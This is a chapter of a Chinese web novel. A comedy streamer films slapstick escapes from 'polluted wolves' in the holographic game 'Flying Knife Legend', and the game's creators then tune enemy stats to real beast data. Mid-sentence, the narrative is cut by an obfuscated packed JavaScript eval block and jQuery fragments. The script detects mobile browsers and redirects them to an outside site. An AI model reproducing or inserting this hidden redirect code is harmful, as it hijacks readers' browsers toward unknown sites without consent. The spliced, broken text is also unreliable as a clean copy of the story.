游戏这么火爆,自然也吸引了许许多多的主播。
各种类型的都有。
比如小六是一个搞笑主播,平时主要拍一些搞笑短视频上传。
最近他有些灵感枯竭,不知道拍什么剧情好了,只得上网搜寻热点,看看能不能有什么灵感。
这一搜就搜到了关于河神的视频。
不过他在看完视频后最先关注的却不是河神,而是被污染狼追得上蹿下跳的玩家。
这让他灵机一动。
搞笑有很多方面,语言搞笑、剧情搞笑、还有肢体搞笑等。
小六发现这个游戏很适合拍一些肢体搞笑的内容。
内容他都有想法了,大致就是一个人在游戏里被污染狼追逐,从而发生一些例如摔倒之类的糗事就很适合。
小六能拍这种类型的视频也是因为这到底是个游戏而已,不会有任何人受到伤害。
如果换到现实中遇到污染狼还这么拍,会遭遇危险不说,也没多少人会对别人的苦难视频笑出来。
也不敢笑。
但这些如果只是假的就不一样了。
打定主意之后,小六就立刻购买了游戏,还给自己写了大致的剧本。
剧本的主要内容就是围绕着一个人误入森林深处,被污染狼包围受到惊吓而发生的搞笑事件。
小六摸着下巴继续圆设定:是那种被娇惯坏了的公子哥儿的话,面对污染狼会手忙脚乱也是很正常的吧?
而且一个人之前光鲜亮丽,之后却狼狈不堪,更能引起强烈的对比。
就这么定了!
小六还特意在全息世界给自己换了一套看起来十分闪亮的华服,只有富贵人家在宴会才会穿的那种,是他按照看过的电视剧中,演员在晚宴剧情里所穿得戏服找人特意设计的。
毕竟他要参与的是商业性的拍摄,不能将电视剧里的服饰照搬全抄。
他先进入游戏进行了一番彩排,把大致的行动轨迹给设计好,包括什么地方要平地摔几次,绊多少次脚全都计划好。
之后他又调试了直播设备,准备边拍边直播。
先直播赚一波流量,再把直播视频剪辑成搞笑视频,双管齐下!
而且直播跟成片看到的肯定不同,也不用担心看过了的不会再看一遍。
至于一直会在玩家身边飞的小刀,到时候后期给P掉就行。
准备好前期工作,小六进入游戏之后没有着急点开开始游戏,而是先开启了直播。
小六的粉丝很快到达现场:
【哟,小六今天又有新花活儿了?】
【之前那个《好人小六》的系列怎么不更了啊?我还想看续集呢】
【这是森林?小六赚大钱了啊?都能去高等星的森林啦?】
小六笑眯眯地说:“各位观众们好啊,小六今天又来拍视频了!”
“这里不是真的森林,是全息游戏里啦!我就是一个小主播,哪儿能住得上高等星啊!”
带着观众们看了一圈游戏环境后,小六郑重道:“观前提醒啊,当前直播的全部内容都是剧本,场景也是全息世界,都是虚假的,没有任何一个生物受到伤害啊!剧情也纯属虚构!”
弹幕有的新来的人不理解:
【说这些干嘛啊?】
【肯定要说啊,有的人可会挑刺了,万一说你误导观众就不好了】
【这是什么游戏啊?】
观众正问呢,小六刚好就说到了:“本次剧本的取景地是全息游戏《飞刀传奇》,感兴趣的观众朋友们可以在我下播之后去体验啊。”
小六和弹幕上的观众们先聊了一会儿,热了下场。
又将剧本再次在脑海中过了一遍之后,跟观众打好了招呼:“那么小六的新作《富哥儿历险记》正式开拍!”
话音刚落小六的气质立刻就变了,引得直播间的观众们惊叹连连。
其实他原本是想要当演员的。
只是在星际这种遍地都是帅哥美女的地方,他的长相并不出众。
如果真的要演戏的话,没权没势的他也只能捡一些其他人不想演的边角料。
也许连边角料都演不了。
因为现在的人工智能比较发达,剧情很短的话用一个安装了人工智能的机器人就可以演了。
所以小六才走上了这条搞笑道路。
很多人关注他是因为觉得他搞笑,也是因为他是那种很认真的搞笑。
他的搞笑全部都是基于剧情人物的认知范围而进行的合理的行为,并不是故意的卖痴装傻。
就像现在,小六原来讨好卖乖的一副笑脸儿立刻变了个模样,满眼的桀骜不驯。
嘴上也骂骂咧咧,嚣张跋扈,一看就是家里受尽了溺爱的叛逆少年。
他先是抱怨了一番,向观众介绍了他是因为跟家中人生气,于是偷跑出外面的富家少爷。
因为不认识路,于是一路迷迷糊糊地来到了森林里。
小六在森林里演抓狂抱怨的时候,动作自如地点了开始游戏,几乎无人发现端倪。
一头污染狼很快跳出来,小六立刻假装被吓到,立时就自然地摔了一个屁股墩儿,直播间的观众哄堂大笑。
在污染狼过来袭击的时候,他还四脚并用地往旁边爬,那滑稽的动作又逗笑了直播间的一众观众。
之后他又通过各种闪避的姿势增加笑料。
游戏火爆,再加上小六确实表现不俗。他的直播间很快吸引了一大群看热闹的观众。
小六立刻找到了自己之后的方向。
通过做搞笑直播和视频,他攒了一笔资金,终于不用再被导演挑挑拣拣,而是自己投资了一部剧,自己做主演。
直到多年后,小六拿到了影帝的殊荣,他最感谢的仍旧是《飞刀传奇》带给他的机遇。
*
“怎么样?”陈星宇眼睛亮亮地问刚从全息游戏出来的陆廷渊。
陆廷渊表示肯定:“不错,数值已经几乎和真的污染兽一样了。”
原来,在陈星宇刚做完《飞刀传奇》时,他就把游戏给陆廷渊先体验了。
这次,陆廷渊依旧在这个游戏中感觉到了不同。
陈星宇在制作游戏的时候果然会不自觉地将精神力融入进去,而他的精神力也会对玩家造成一定的影响。
这种影响目前看来是一种正向的影响,通过特定的机器可以检测到在玩陈星宇制作的游戏时,精神力会额外的活跃,从而加强
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403660|184379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对精神力的锻炼。
特别是这个控制小刀的模式,这种精神力的持续输出对精神力的凝练更加有效。
陆廷渊不禁有点儿好笑:陈星宇为了锻炼精神力操控真是煞费苦心。
思及此,陆廷渊有个想法。
目前市面上的很多游戏里的敌人都是基于制作者自己的设定,并没有符合现实的。
全息游戏毕竟不是用来训练的,强度不如现实也是可以理解的。
但看到陈星宇这款游戏是按照波次逐渐增加敌人的强度后,陆廷渊有些想法:能不能将敌人的数值逐渐贴近现实的样子?
虽然陆廷渊能保证有他们军团在的时候会尽量保证居民的安全,但总有顾及不到的地方。
如果大多数的居民都能对这些污染兽有一定的了解,不求他们人人都能打过污染兽,起码能够支撑到军团的人前来救援。
这款游戏正好适合练习闪躲。
此事跟陈星宇说后他一口答应,甚至很开心能有现实的数据做参考。
就此,凭借陆庭渊提供的数据,这款游戏里的污染兽不论习性、攻击方式等都与现实的污染兽无二,只有强度数值是逐波增加的。
也就是说,如果在游戏里玩家可以顺利的躲过对应等级的污染兽攻击,那么在现实里遭遇同样情况的时候,也一样可以。
其中从第一波到第四波是逐渐将强度加到正常污染兽的数值。
第六波到第九波则是增加更多污染兽一次性出现的数量。
第五波的污染兽则是其中的小头领,第十波就是王兽。
所以并不是陈星宇有意将第五波设为守门关,而是小首领的实力就是这样强大。
现在这个关卡还只有污染狼,但是之后的关卡则会出现其他类型的污染兽。
最后还会有不同种类的污染兽一起攻击的情况。
*
“太好了!”陈星宇不由得感慨:“有专业人士在就是好,都不用我自己想数值了。”
不得不说,游戏数值的设置是一项很大的难题,既要合理又不能出bug,常常让陈星宇想得头发都要秃了。
游戏太简单了,玩家如果太容易通过,后面的内容更新就容易跟不上,长草期①太长的话很容易流失玩家。
一但在这期间玩家有了新的游戏可以玩,基本就很难再回归了。
但游戏太难了又会劝退大部分玩家。
虽然会有一些正好喜欢挑战高难度的玩家们驻守,但是这些玩家并不足以支撑一个游戏的运营。
一个游戏不能只做小众内容,除非是真的为了什么爱与理想。
这下好了,陈星宇不用思考关于数值的问题,只需要完成对游戏的构想就好了。
不然他哪来的精力在游戏技能上搞那么多花花肠子。
这件事也让陈星宇充分明白到了人有所长,亦有所短。
他虽然在游戏构思上有很多奇思妙想,但是在一些例如游戏数值上就十分不擅长。
这让他逐渐萌生了招聘适合的工作伙伴,组建工作室的想法。
“多亏有你在。”陈星宇真诚地感谢到。
“不,”陆廷渊摸了摸陈星宇的头:“是多亏有你在。”